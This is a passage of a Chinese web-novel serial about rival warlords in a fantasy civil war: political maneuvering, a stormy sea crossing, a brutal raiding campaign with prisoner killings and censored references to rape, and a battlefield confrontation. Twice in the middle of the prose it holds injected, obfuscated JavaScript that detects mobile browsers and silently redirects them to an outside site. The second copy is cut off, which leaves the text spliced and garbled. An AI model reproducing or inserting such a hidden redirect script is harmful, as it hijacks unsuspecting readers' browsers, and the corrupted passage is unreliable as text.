王代积见状,赶紧摊手努力解释:“你们……你们不要以己度人,你们想一想,我王代积跋涉乱世,可有半分对不住大魏体统的举止?这天下人谁来了,我都能理直气壮的告诉他们,我王九是大魏忠臣,平生没有半点有负忠义之举。” 郭祝去看闻人寻安,后者却只是若有所思。 王代积虽然还没从局势大变的震惊中走出来,但到底是一方人杰,晓得局势已经到了自己不得不做决断的地步,便继续勉力出声:“两位,咱们都是亲戚,我不哄骗你们……你们肯定是觉得,我现在是想握着南阳几万兵和几个郡做本钱,在几家势力里摇摆,卖个好价钱,但其实呢? “其实我真能卖给白横秋吗?我这个在大魏都被人歧视的妖族杂种,凭什么在关西立足?所以除非大英横扫天下的气势已成,为了自家和南阳诸郡百万生民的性命,降了他也就算了,否则如何能卖给关西人?” “那叔父就卖给我们嘛。”郭祝言辞恳切。 “你还是年轻,还是不懂!”王代积站起身来离了座位,身上的白色大氅被他抖的卷了起来。“到了黜龙帮这里根本就不是卖不卖!你们自己刚刚都说了,眼下局势,淮西诸郡已经无了,我在南阳的淮南子弟兵根本支撑不住……我现在往黜龙军就是降!” “降了又如何?”郭祝赶紧来言。 “降了就是轻贱自己!”王代积厉声相对。“你想想,我此时降了,淮南子弟兵算是我的本钱吗?南阳诸郡算是我的本钱吗?他们只会觉得,那本就是他们黜龙帮的!我就是一个孤身势穷去降的野狗!甚至是被卷过去的俘虏!” “可若是叔父明知道南阳必落,淮南子弟必然要离散,还要强行阻碍对抗,又算什么?”郭祝不顾自己舅舅闻人寻安摆手阻止,起身拍案喝问。“仅凭这件事情,你便是连降都没法降了!到了关西也只如野狗!” “所以也不能如此自绝道路。”王代积幽幽以对,笼着袖子重新坐下,反而没了之前的气势。“当年天下大乱前我就晓得,自己修为不行、家门不足,建功立业上自然事倍功半……可我从未担心,因为我知道自己内里总比那些人聪明一些,只要多辛苦一些,迟早能追上去,然后让那些瞧不起我的人低头。 “后来到了乱世,看到了张三郎的作为,更是心动,因为他在我眼里素来是跟我一般的人,若他都能成事,我稍作隐忍,说不得也有一个化龙的机会……” 桌边舅甥俩再度面面相觑,无他,这位亲戚刚刚还在说他忠义无双呢,现在就自己承认想“化龙”了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168046|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“结果呢?”王代积语气愈发黯然。“结果厮混到现在,固然是有些成就,却在人家大势相逼之下不值一提……这种情形,若说我还有什么一点立身的根本,那就是忠义仁恕四个字了……越是如此,越不能丢下这四个字!我就不信了,我做了一辈子大魏忠臣,又事事都留了足够余地,谁得了天下会不用我?!” 说着,其人复又来看两个亲戚:“你们听懂了吗?” 舅甥二人三度面面相觑……敢情你说了半天不是在直抒胸臆,而是在跟我们两个亲戚做解释? 无奈之下,闻人寻安硬着头皮来问:“那总管准备如何践行忠义仁恕这四个字呢?” 王代积摇头道:“不让**人怨之余保持气节就行了……闻人兄弟,你跟我走,去南阳,到了地方我把南阳的淮南兵都交给你,我自己带着东都人跟南阳人去阳翟找司马正,这里干脆交给小儿辈就好。” 这倒是个法子。 闻人寻安也大为心动,但还是有些不安,便起身来问:“总管,我若去南阳领淮南兵,你可有什么交代?” “尽量拖一拖。”王代积正色道。“毕竟谁也不知道关西军什么时候出来……你倒得快了,等关西军来了,我跟着司马正进了东都,南阳诸郡百姓的生死就变成你的负担了;反过来讲,你是淮南人,拿捏住这剩下的两三万淮南子弟兵,只要维护好南阳地方……便是你曾经叛离了黜龙帮,此时也显得滑头摇摆,却必少不了一个大头领。” 闻人寻安还是不说话。 王代积压低声音以对:“你还不明白吗?我带着淮南子弟兵去降,我就是被迫的降,可只要换成你这个淮南人自领,你就是淮南子弟兵的头,黜龙帮就会花大头领去买!你还能为下面兄弟寻几个头领!等将来黜龙帮真成了气候,我再回来,咱们还能相互扶持!” 闻人寻安终于点头:“万事扭不过总管,我再信一次总管便是。” 郭祝全程没有言语,只是按部就班在王代积和闻人寻安的带领下见了淮阳本地驻军的高层军官们,自承了王代积侄子兼闻人寻安外甥的名头,接了中郎将的任命,然后送两位长辈打马西向。 回到城内,其人立即派遣了自己舅舅留下的亲卫和自己带来的巡骑,一并往淮水去,顺流而下去找自己的上司,徐州行台指挥、龙头牛达。 最后,只安坐城内,请队将以上军官继续宴饮,同时依旧犒赏全军。 腊月初二过去,腊月初三,在又一场新雪中黜龙军夺取了整个颍水东面的颍川大半郡之地,与此同时,汝阴郡郡治汝阴城被伍惊风攻下,其部马不停蹄,扔下根本没有去扫荡的东半郡交给內侍军,径直冲杀向西,直扑淮西要害汝南悬匏城! 而同样是当日,北面黜龙军主力也随着一场城下惨败得知司马正就在阳翟,却干脆临颍水不进,反而就在颍川、许昌二城之间汇集兵马,俨然是要待对方自退。 腊月初四,长安城内,正在吃饭的白横秋终于从东都内线那里得知了黜龙军扫荡淮西全境的消息,惊得筷子都掉下去了! 当然,他马上甩手将筷子卷回手中,还不忘擦拭一二,然后缓缓来言:“所以之前朕在河内心血来潮,回到长安也一直心绪不宁,就是应验在这件事上吗?” 随侍群臣也都有些慌乱。 还是刘扬基勉力来言:“现在看来,就是这个了……若是我们不回来,继续对峙着,他们在南面发动了,怕是不但淮西、南阳诸郡全入黜龙帮之手,连荆襄也能冲进去!然后来袭武关,乃至于去荆襄协助三娘……都可以直接破局!” 众人议论纷纷,包括商讨如何出兵。 这也没什么可商讨的,因为这里的人不缺军事素养——就好像之前关西军出河内,引得黜龙军主力不得不拥上一般,这个时候再难、再麻烦、再辛苦也要立即出兵!而且必须是白横秋亲自带队! 所以,事情本身没有什么可计较的。 但是,几乎所有人,在刘扬基说出那番堪称挽回尊严的话之后,还会忍不住心里嘀咕……为什么?为什么黜龙军可以分兵两路,连续不断的攻击?而大英却只能合兵一处呢? 是张行又耍了个小把戏,将兵力分段使用,他和几位宗师不断移动?可要是这样,为什么黜龙军分段的兵力竟然能抵挡关西军的全力? 总不能是黜龙军真的越打越强!而我们关西后继无人吧?! 而且,便是不论这些,攻守易形总是实话吧? 似乎是意识到了这一点。 当日议定,白皇帝亲自率领长安-潼关-武关诸路兵马齐出武关的同时,要求长安各勋阶子弟,凡成年者无病弱者,有官者转武阶,无官者授官,皆随行无误。 若有藏匿不从者,子弟弃市,父祖罢官! 后续各路府兵重新汇集后,再随从各卫将军出武关作战。 腊月初五,得到军情不过一夜而已,关西军再度大举出动,白皇帝再度御驾亲征。 长安西南面的太白峰上,冲和道长神色复杂的望着长安城方向,手中木棍被紧紧攥住……坦诚说,这一刻,冲和真的动摇了,因为他知道,这个世界上唯二可称之为友人的存在现在都面临着人生之困境。 但是,雪花飘摇,白皇帝带着长安驻军与关陇子弟并出长安,一直到他们消失在风雪中,这位三一正教掌教始终没有动作。 这不仅仅是多年来方外之人的身份规训,让他不愿意轻易卷入这些龙争虎斗中,另一个让他感觉到无力的事实在于,若论私情,他最喜欢的两个学生,伍惊风和白有思,竟然正在自己两个友人对面。 自己救了两个友人,万般反噬皆可承受,可坏了两个学生的道途又算什么呢? 什么叫天命难违,这就叫天命难违! 风雪如故,似乎整个天下在腊月初的时候都在下雪,而这其中,更以北地与巫地为甚。 腊月初六,就是在关西军大举出武关的当日,李定正在苦海颠簸之中。 没错,十天了,李定和他的远征军还没有渡海完成。 没办法的,渡海太难了。 首先,人也好,物也好,只能一船一船的发,北地港口虽然多,却不敢离得太远,只能用落钵原周边几处港口,于是全军十万余众,只能两三万人一渡,然后往复运输。 按照原计划,苦海近处只有几百里宽,又是狭长形状,根本起不来风浪,一两日一个来回,五六日也足够过去了。 然而,不知道发了什么邪,偏偏就从黜龙军渡海那日开始,风雪不断……风雪一起,海中船只可上下前后都摸不着,人心就发慌……也就是李定下了死命令,并且以武安旧部外加那个自己请缨的侯君束为先锋先发,否则可能一开始就要延期的。 而即便如此,也免不了一些流言,都说是罪龙在海底不愿意看到巫族被偷袭,所以兴风作浪。 还有人忍不住去扯李定那个谶言。 甚至,等到李定本人在第三批渡海时,连在这里坐镇的窦立德都慌了,他可不光是担心他女儿女婿,而是在苦海展示出它的隔绝之态后更加清晰的意识到,整个北地、幽州的精华竟然都要被送出去了! 真的是整个北地、幽州的精华,五到六万各类编制的战兵,四到五万各类辅军或者民夫,一万余各类工匠,合计十余万人,外加数不清的粮草、军械,全都要送到对岸! 他是真害怕了! 但是李定还是坚持登船渡海。 开什么玩笑?便是那日落日堂上的表演浮夸,可他的本意难道是假的?事到如今,便是那罪龙自己钻出来,他也要先屠龙的! 当然,他没有遇到罪龙,还是风雪,有些又变大的风雪,苦海内一时海浪如潮,似乎真有什么神异在阻止他渡海一般。 “我鞭子在哪儿?”随着一船满载着百余人的帆船整个倾倒最后却只捞上了小半后,立在船头的李定终于黑了脸,老婆在邺城带孩子,他便扭头看向自己弟弟李客。 李客不明所以,还是把就挂身后船舱里的黑筋马鞭取来递给了自己兄长。 李定捏住马鞭,藏在袍子里,就在摇摇晃晃的船身上继续询问:“黑延黑司命的船是哪一个?” 有人远远隔着风雪指了,李定立即腾跃而起,空中大风似乎格外凛冽,落错了两艘船,方才来到黑延船上,然后便做喝问:“黑公!你船上没有黑帝爷的雕塑吗?这个天象如何生出来?你难道没有拜祭吗?” 一身冰水的黑延也无奈,只能摊手:“拜祭肯定是拜祭的,但苦海上委实无用……或许是正常天象!” “若是正常天象,全军葬海我也不急,怕只怕真是罪龙作祟,最起码上上下下的北地人都觉得是罪龙作祟。”李定走过去,正色以对。“我是一军主帅,雕塑在哪里,我去拜一拜,堵住人嘴,省的一下船便哗变起来!” “船上没有雕塑,我是上船前祭拜的……只有一块平素渡海时用的天地人镇石在舱里。”黑延也没辙了。 李定闻言,便往船舱里走,走到舱门,一个趔趄,差点摔倒,还是黑延扶住,方才走了进去。入得船舱,果然见到一块不大不小的“天地人”石碑摆在此间,与神仙洞里石壁字迹彷佛,俨然是认真雕塑过的,便不由一声叹气。 然后,他猛地将马鞭抽出,在后方黑延等人目瞪口呆中,狠狠抽到了石头之上。而且是接连三四鞭,黑延等人醒悟过来,死死护住石头,方才止住。 不晓得是不是之前救落水军士弄得满身冰水缘故,黑司命只觉得自己头都昏了,却还是艰难来问:“战帅为何如此?” “执行军法。”李定收起鞭子,从容做答。 “一块石头有什么违背军法?”黑延还是有些发懵。 “不是你说的吗?这石头是渡海镇仓用的,如今不能镇这苦海,岂不是**?!”李定振振有词。 “我晓得这是你们领兵的鼓舞军心手段。”黑延无语道。“可这到底是黑帝爷的象征,你自去割袍祭海,去胁迫罪龙,去鞭打海水都行,如何来打自家至尊?” “打的就是自家至尊!”李定闻言嗤笑一声,丝毫不惧。“我难道是第一次打祂?这几日海上的事情,若是天象倒也罢了,可若真是罪龙作祟,不正是他黑帝爷**的结果吗?非只如此,他一位至尊,若真是故意放纵,念祂经历,只怕内里更加龌龊……黑公,要我说,怕是祂一辈子不能覆灭巫妖二族,不能使天下一统,已经魔障了,如今见我将渡海而成大业,心中起了妒忌之心!否则为何如此呀?而祂若还真记得祂为人时的一点初心,便是今日打了祂,日后还我身上我也不惧,只不该耽搁全军进发才对!” 说完,直接负手而走。 黑延目瞪口呆,也不知道是该反驳对方荒唐,还是呵斥对方狂妄……而且,似乎竟有几分道理? 然而,不知道是不是巧合,到了这日下午,苦海之上风雪居然渐渐平息,李定本人更是平安渡海,抵达巫地……而不过一场晚饭,上下就皆知,这苦海风雪平息,乃是战帅李四郎鞭笞至尊,至尊竟然听令为之。 委实可怖! PS:感谢养生老杨老爷的上盟,感激不尽,鞠躬致谢,也祝大家高考顺利,人人都上六百五。 第九十二章 送乌行(2) 第552章送乌行(2) 风雪既定,李定并没有着急用饭,也没有着急召集将领,反而去巡视了登陆港口周边。 看得出来,虽然渡海本身一波三折,但苏靖方-侯君束这些先发部队还是很坚决的执行了他李龙头的军令——依托着原本的港口、部落建筑,内内外外设立了大量的简易栅栏,布置了帐篷,而且各处都蒙上了毡布,算是进行了某种堡垒化。 与此同时,外围各处哨骑密集,将登陆点周边遮蔽完全,那两个事先收买的跟北地联系紧密的部落也被牢牢控制在本地。 很显然,大家都能理解这些军令的本意,就是要保密嘛。 “大雪已经停了,从明天开始,前锋……也就是第一批渡海且休整过的各部兵马,立即分散出击,务必要将方圆百里各巫族部落、零散战团给击败……战后,能収降收降,不能収降则俘虏他们的青壮男女,连带着牲畜、粮草尽量送到此处。 “各营、各部、各战团之间要相互援助,若有余裕而周边友军陷入苦战求援而迁延不去者,逾半日则斩其主将。 “军事上必须保密,严禁明文记录兵力、位置,对収降部落只统一说是十五个营外加七个战团。 “若方圆百里清理干净,而无大的军事动静,则自动扩展范围到方圆一百五十里。但不许擅自攻击他们的王庭直属大部队,更不许越界袭扰他们的王庭。如果实在是因为距离过远没法上缴战利品,许你们自行其是,屠戮俘虏、焚烧财货、保留驮兽和战马,包括允许降人趁机扩充部队,我都以战帅之名一力担之,绝不影响你们将来的人事。 “但不许**,更不许私留女性,因为会影响力和速度。 “扩散攻击的唯一要求是,必须在三日内折回至距离此间百里范围内一次,与本帅发出的信使、哨骑、巡骑接触,检查最新军令。若没有遇到巡骑,也可以主动派遣信使,告知位置。三日加半日内没有明确百里内位置并回复至此处者,视为全军反叛!” 一个极度简易,临时钉满了木板,隐约有些牛粪味道的土屋内,借着烛火,刚刚渡海而来的李定发布了一系列军令。 认真来讲,这军令明显不对劲。 要知道,渡海前李定还要求前锋务必对港口进行封锁,现在为何反而大张旗鼓?为何不去趁机攻击毫无防备的东部巫族王庭,反而大肆劫掠? 怎么想怎么都跟此番跨海之战的战略要求大相径庭。 而且,这种对军纪的明令放松,哪怕是大家都知道渡海而战的严峻,晓得是军事需求,却因为跟黜龙军一贯的军纪推崇而让人感觉不安,乃至于产生抵触。 但是,黑延、黄平、张世昭在内的几位具有发言权且代表性不同的几位远征军高层,全都保持了沉默,俨然是早有讨论,而执行命令的各部,基本上是李定的武安军嫡系,也都没有谁反驳。 实际上,如苏靖方、侯君束都脑子灵活的人,听到最后,已经猜到了李定的主意,都反而凛然起来。 走出土屋,外面海风的咸腥味瞬间涌来。 窦小娘忍不住靠近自己丈夫,两人走到一个暗处,前者刚要说话,便被苏靖方给打断:“这是打仗,不许质疑军令!我有猜想,但不好跟你说,现在说了,就是肆意揣度军令,你只晓得战帅这般布置是有道理的便可……你要是觉得杀俘虏下不去手,便在百里内先寻到一个部落収降了,让他们自己去做。若是他们再**和**,你又觉得不满了,可以对他们做军纪处罚。” 窦小娘不解:“把脏事推给他们我晓得,可这不是逼反他们,坏了大事?” “不必顾忌,不反当然是好事,但真反了他们也不算坏事。”苏靖方交代了一句,便做催促。“赶紧去准备吧!” 窦小娘虽然还是不解,但既得了丈夫的言语,多少也有了些底气,便也匆匆消失在了夜幕中。 腊月初七,黜龙帮的渡海远征军刚刚渡过多半战力,在还有两到三万战兵,同样数量的辅兵,以及数不清的预定物资尚未抵达的情况下,直接发动了大规模扫荡攻势。 猝不及防下,百余里内的大小部落……或者更确切一点,基本上全是混血的巫族小部落遭遇到了毁灭性的打击。 没办法的,来之前,黜龙帮远征军做了极为精细的准备,大量的间谍以贸易、使者的名义穿越苦海,对临着苦海的这些部落分布情况早就了然于心,而领兵的头领们甚至专门上了课,由间谍和北地人们做了讲解……然后又是一场风雪,阻碍了远征军渡海的同时,也让那些混血部落陷入到了某种半封闭状态。 总之,百里内的战果有些让李定失望,但又不好说什么,于是扫荡范围迅速扩大,从百里范围到百五十里,然后再到两百里。 一时间,整个东部巫族风声鹤唳,终于无可抑制的骚乱乃至于崩溃起来。 张行是腊月初九知道白横秋出武关的,这个时候,他已经在颍水与司马正对峙了七八日。 坦诚说,最近这几日内,黜龙军进展不大。 北线被司马正拦住,只是南线按部就班的吞并了淮阳、汝南、汝阴诸郡,还闹出了牛达跟伍惊风争功于淮安郡的事端,再然后,便听说了王代积、闻人寻安的分野……这个时候,立功心切外加梦想回到南阳故地的伍惊风故伎重施,遣其弟伍常在为主,领了两个营尝试去诈唬南阳,具体来说是想把王代积给半路拦下来,然后挟持这位淮南军的创始人直接吞了南阳诸郡。 结果就是,兵过西唐山的时候,这两营兵遭遇到了罗方带领的南下东都援军与护送王代积北上淮南军的夹击,一败涂地,伍常在都差点没回来。 进取南阳之事,一时因为兵力与后勤沦为泡影。 这个时候,河南一带又下雪了,不大,但迭加上之前几场雪,足够让天地一色。 一大早,军营内之前清扫出来的道路上,重新蒙了一层细碎白色。黜龙帮首席张行捏着一个热气腾腾的饼子,带着一众随从从一个棚子里走出来,纷乱的脚步立即将这片细碎给抹开。 然后只转过一个栅栏,迎面见到单通海领着一帮子人过来,便上前招呼。单通海和河南几个行台的头领又不是反贼,也自然不用躲着,也都拥了上去。 双方打了个招呼,最后理所当然的演变为所有人看首席与龙头互动交谈。 “后勤这里还行,就是这几个郡的新粮都不在库里,全是陈粮做的储备,咱们自己的粮食估计得十来日才能续上。”张行将饼子掰开一半分给对方,示意对方尝一尝。“你一早去营内走着,军心怎么样?” “不好说……一分为二吧。”单通海接过饼子咬了一口,不由皱眉头做答。“上面的头领跟中间的军官都挺高兴,哪怕是西唐山败了一阵,可一下子吞了五六个大郡总是真的,授田呀、退役职务呀,还是挨着河南老地方的地盘,自然都高兴,可下面的军士们还是嫌冷,嫌过年前打仗,嫌饼子不好吃,还嫌……” “还嫌什么?” “还嫌首席跟我与他们说话不算话。” “哦?”张行略显诧异。“我跟他们谁说过一定能回家过年吗?还是你说的?” “都没有。”单通海正色道。“但临近年关,总拦不住风言风语……尤其是之前大战也有些营头去了的,解散后大家都以为要过年。” “不是这样的。”张行三两口吃完难吃的饼子,拍拍手言道。“且不说我没有对河南这边的营头说过什么,便是说过什么,那又如何呢?军事上的事情,哪里能瞻前顾后?河内一战,谁也没想到关西军看似汹汹,其实那般虚弱,也都没想到司马正这么厉害……既然这么早就结束了河内战场,战机摆在眼前,不来岂不荒唐?更不要说,此番进军虽然辛苦,但却必然省下将来双倍的辛苦,怎么都是应该来的。” 单通海捏着半张饼在旁边因为清扫而堆积成的雪窝子里走了几步,竟没有反驳,反而认真点头:“正是这个道理。” “要说给下面听。”张行叮嘱了一句。“说比不说强……这个时候没必要求全责备,咱们辛苦,关西人比咱们更辛苦,东都干脆只能坐视我们将他们视为鱼肉来分割。” “这是自然。”单通海依然没有驳斥。 话到这里,两人都陷入沉默,张行干脆往一旁辕门走去,单通海也只是跟上,顺便把这半张饼子吃完……没办法,确实不知道该聊什么,虽然有白横秋的军情变化,但昨日晚间已经开过军议,两人也已经做出了讨论。 具体来说就是,接下来就看司马正退不退,若是今明两日内退了,北线主力就大胆往西去,跟白横秋争夺南阳;若是司马正不退,北线干脆就弃了颍川半郡,从南线去南阳,再去跟白横秋做争夺。 而无论如何,后续的后勤补给都要绕一些路从远离东都的淮阳经行,而且要维持动态补给,以防司马正搞出什么花样来。 不过,随着两人并肩走了几十步,张行瞥见对方一直走在雪窝子里,到底是没忍住,干脆主动来问:“单龙头是觉得今日军议哪里不妥?当时为何不直言相告?” 单通海不由摇头:“不是战事的事情,而是一些别的想法,有些远了,而且大敌当前,未必合适。” “全帮资历最老的龙头跟首席之间有什么话不合适?”张行不以为然。“说嘛。” 单通海不由驻足正色:“首席,伍惊风伍龙头这一回便是帮规军法不好说,也算是犯错了吧?” “自然。”张行点头。“他为了争功,越过牛达所占的淮安郡,没有任何后继兵马便遣了两个营冒雪过去,结果大败……就像你说的,军法和帮规上没法为了这种事情跟他做分明,但咱们心里都该有计较,他身为龙头,要为这一战之败绩和死伤,包括争功的事情负责任的。” 单通海点点头:“我不是为他求情,甚至都不是他的事情……我是恰好想到,按照首席之前对天下的许诺,头领数量是要分地域人口以作公平的,而伍龙头之前资历,怎么看都是将来关西前三,他部众中也多是西面来的,可现在他弄了这样的事情……说句不好听的,若是此时白横秋病**,关陇里谁举关西降了,难道真要哪个降人居于伍龙头之上?若是这般,将来关西会不会出乱子?” 张行听到第一句话便晓得对方会错了意,只是忍耐,等到对方说完,干脆负手反问:“单龙头之前以为,将来伍龙头会是关西诸头领前三?” “自然,他、白三娘、李四……” “都不是。”张行摇头失笑。“不过巧了,我预想中将来领袖关西的帮内头领之首,正是你单通海单龙头。” 单通海愣在雪窝里,连着后面许多头领,都有些发懵。 “老单,按照地域、人口划分头领数量,外加科考与强制筑基的一部分意思,是为了得了天下后后人能公平上升,是打的补丁。既是补丁,如何能影响根基?”张行继续负手笑道。“更何况,咱们得先打天下,才能有这些,又如何能强行为了以后的公平坏了功臣现在的公平?若是按照你想得那般,怕是刚刚打下来天下,就要再反的,反的还是河北、东境的自家人……功臣稳不稳,是一个朝廷上来能不能立住的根本。” 单通海回过神来,但明显还是有些茫然:“那我……” “还是要按照体统和规矩来的。”张行认真解释。“举个例子,现在北地是咱们的地盘,咱们也跟荡魔卫约定了北地头领的总数和比例,假设现在开始就施行这个方略,真能把北地的头领份额都给他们和本地人?依我说,现在要算的话,李定和他之前武安行台已经搬过去了,无论怎么排列,他们这些人也都要走北地的人事才对。 “类似的,将来关西平定,你单通海来不来中枢不晓得,去不去其他地方打仗也不晓得,但总该挑个时候立个暂时的关中行台维护两年治安,到时候将你单龙头和一大批咱们自己的头领安排进去,就地落了户籍……到时候,你们本身不说,等到两三代人,你们的后代自然也是正经关西人,就要走关西的榜单入仕了。” 单通海恍然大悟,却又有些尴尬,乃至于脸上发红:“是我钻了牛角尖,这样就妥当了。” “这是单龙头讲规矩,却忘了户籍还能落地迁移,更忘了等咱们得了天下,户籍怎么落咱们说了算。”张行连连摆手。 单通海如释重负之余复又重新探讨起来:“只怕到了后来,各地方人口不一样,为了这个户籍还要重新闹起来,而且各地方还要结党对立。” “谁说不是,但那些干咱们什么事?”张行望着远方一片素白,幽幽来道。“咱们能一统四海,弄个比之前公平一些的制度,修个比以往对老百姓更宽松些的律法,让孩子们都能筑基,坚持授田,多修水利,鼓励商贸,让商税多些农税少些,再黜几条真龙,对得起历山的兄弟们,就足够了……” “对我们这些人是足足够了,就怕对首席你不够,首席可是要做至尊的。”聊到这里,就纯属闲聊了,单通海竟然也带了笑意,只是不晓得是不是促狭之笑。 “成则成,不成,到时候再想想办法,凑一凑、借一借,说不得还是有路数的!” “至尊也能凑一凑、借一借给弄出来吗?” “所以,老单是想我成至尊,还是不想呢?” “自然是想的……” 二人难得气氛融洽,连带着跟随而来的头领、参军、文书们也都心情大愉……但也仅仅如此了,张行先行肃立看向营地深处,然后是单通海,接着是其余随从……很快,尉迟融亲自带领数名响铃巡骑冒雪穿雾而来,告知了军中两位主心骨一个消息。 前线哨骑来报,司马正全营明显提前了早饭,现在正在拔营。 这是预料之中的事情,但两人也不好干看着,便各自回营准备。 然而,事情很快偏离了预想,司马正全军既起,却并没有沿着颍水直接后退到轘辕关、回东都,而是选择了径直向西走。 西走当然也是有路的,东都八关,南侧沿线三关,除了东南的轘辕关,还有正南的大谷关、西南的伊阙关呢。 但问题在于,为什么要这样,为什么要绕路? 关西既然大举出兵,南阳六郡之地回旋空间又那么大,对东都而言,是不可能在两家夹击下继续维持的,按司马正之前表现也没有这个意思,不然也不会早早选择在阳翟汇合王代积了。 所以,他们不直接回去,而是西撤,恐怕只有一个意思,那就是希望以此尽量拖延、调度起黜龙军,希望关西军尽量夺取南阳,然后让两家主力在襄城-淯阳一带,也就是他们眼皮子底下对撞……当然,也很可能是继续三家首脑面对面对峙,于东都而言最好的结果恰好也是对峙! 冰天雪地,后勤压力极大,三方再各自心怀忌惮,对峙过程中军心不免要离散到一个份上,到时候东都大军养精蓄锐,直接从三关冲杀出来,未必就不能再来一次更胜一筹的河内之战。 真要是到了那个份上,关西军如何不晓得,于黜龙军来说,不要说南阳诸郡,怕是连淮西诸郡中靠北面的部分也要吐出去,甚至到时候地盘都未必是最大的问题了。 于是乎,张行与单通海临时再做商议,决定不再被司马正牵着鼻子走,而是直接南下,且看司马正敢不敢扔下东都跟过去。 当然,即便如此也是要讲策略的……二人决议分兵,张行决定带领两位宗师和踏白骑以及部分谯郡郡兵伪作被调动随从西行,单通海则在后方从容调度大部队移营,却要往颍水下游夺取对岸的颍川西南部城池以作立足……等张行那边跟到大留山的时候直接掉头,往颍川郡西南部汇合。 就这样,计议完毕,即刻施行,张行果然亲自带领往西面追去,随行头领不过牛河、魏文达、秦宝、尉迟融、张金树、曹汪区区数人,兵马不过五六百踏白骑与千余梁郡郡卒以及数百巡骑,连王雄诞营这类亲兵都未带,真真是一个先锋样子。 一路行来,雪花愈大,踏白骑尚有余力,巡骑有战马也能支撑,可随行梁郡郡卒不免有些艰难起来,到了中午就开始有人掉队,当然,东都军掉队的更多,张行也没执行什么严酷军法,只让巡骑将带回来的东都军交予掉队的郡卒,开具文书,允许他们自行缓慢往返营地而已。 以此来确保路程。 然而,明明一切都算是妥当,可越往西走,张行就越不耐,终于远远望见大留山,其人便干脆勒马:“全军止步!秦宝,遣人去告诉王代积,让他阵前搭话!” 秦宝稍微一顿,也没多问,便骑着斑点瘤子兽腾出,然后带着十数骑踏白骑出列,黜龙军更是直接在雪中止步。 等待期间,雪越下越大,张行也越来越焦躁起来,而王代积终于随秦宝出现在阵前远端时,这位黜龙帮首席更是径直骑着黄骠马踏雪向前。 两位宗师不敢怠慢,魏文达、牛河分前后随上,还未靠近,两人也都一起察觉,司马正就在山后不远处关注着此间。 另一边,张行打马往王代积跟前来,眼瞅着对方在马上似乎要拱手寒暄,要来什么一段佳话似的,竟一边过来一边劈头盖脸来骂:“王老九!你作得什么怪?!你是不是觉得自己挺聪明?既撇了责任又维持了忠义人设?!大魏到这个份上,要它的忠义顶个屁用?!谁会顾忌?!我们年年科考爆满,强制筑基的孩子都开始当队将了,你信不信明年这个时候我就有一千五百骑的踏白骑?!我到时候要用你?!” 王代积骇的面色发白,张口结舌,努力提醒自己,这是张三在唬自己,而且司马正还在后面看着呢,一定要撑住,结果还没挣扎完呢,对方已经来到自己马前,直接隔着鹿皮手套给了自己一巴掌。 这下子,王代积清醒了不少。 “你看到这雪了吗?”张行一巴掌下去之后继续喝骂。“慈不掌兵是一回事,为兵为将拼却性命也是我们这些人活该,可为你自作聪明和一点不甘心,多少人要再来无谓搏杀?!你但凡清醒些也该知道,雪地里这种搏杀要死多少人?但凡我们与关西军在南阳那里撞上,前后不能支援,便是死伤累累的结果,到时候谁会记你的忠义与委屈?!只觉得你不要脸,没有担当,自私自利!” 说到这里,张行复又一巴掌下去,转身便走,走过几十步远,似乎还是不解恨,竟回头对着呆立的王代积继续狠狠来言:“到此为止,我不可能再与你丝毫情面了,下次对阵,必想方设法活剥了你!” 说完,方才归队走了。 翌日,也就是腊月十一,方才冒雪抵达颍川郡襄城县城,与单通海等人汇合。 而司马正、王代积则继续西行,也是翌日才进入襄城郡郡治承修县——双方都挨着汝水,分上下游,隔着一百三十余里,遥遥相对。 腊月十二,积雪甚厚,确定白横秋已经冒雪夺取了几乎整个淅阳郡而淮南军畏缩到南阳一隅后,张行干脆扔下司马正,继续南下,直入淯阳郡内,准备与白横秋并争南阳。 到了这个时候,已经进入到一年最冷的阶段,南阳如此,巫地自然也是如此。 数日内,这里下了两场小雪,不足以形成积雪,却依然给黜龙帮的远征军形成威胁,因为太冷了,风卷起这些坚硬的雪花后,简直像空中飞起了盐粒,砸在人脸上生疼。 不止是小雪,还有能让马匹忽然整个摔倒的沙坑,足以割破皮肤的干草,看起来可以捣冰烧开实际上苦涩难言的冰洼子。 一切的一切,都逼着远征军成为了来之前课程下的顶好学生……没办法的,人教人,怎么都不行,事教人,一教就会。 唯一的幸运在于,来之前到底是教过,也做了准备。 火光映照之处,窦小娘翻身下马,揭开面罩,不自觉的转动了一下脖子——别的地方都还好,无外乎是厚重一些,但铁围项下面的毛皮围脖是最难受的,一运动就发热,一发热就出汗,还不敢轻易解开,不光是因为此处是防护要害,更是因为一旦揭开,风一吹,立即结冰,体弱的更是有直接翻到的,所以只能呢个忍受。 当然,窦小娘本可用真气冲刷的,坚持不用,只是一种从高鸡泊时代就养成的习惯,她总是担心自己不能察觉到下属的难处,所以不作战、不侦查时一般不动用真气。 “又开始了吗?”下马后,小娘明显有些愤怒。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,当亲眼看见这些巫族人毫不迟疑的自相残杀,见识了被自己收服的自称达奚部的贵族武士迫不及待的于战场上**破亡部落女性后,窦小娘还是觉得恶心和难以接受。 “窦将军!” 达奚部继承人见到全副甲胄的窦小娘立在火光之前,呼出的寒气模糊了形象,刚刚套上衣服的他不由打了个寒战,然后便要解释。“我……” “不用解释。”窦小娘此时反而平静了下来。“我知道……我上过课,你们总是在战场上**女性,尤其是部族里最好的战士最喜欢这么干,未必是管不住自己,也不是故意要跟我作对,而是巫地这里朝不保夕,遇到年轻、健壮的女俘不赶紧播种,谁知道明天被灭族的是不是自己部落?谁晓得明天死的是不是自己本人?对不对?” 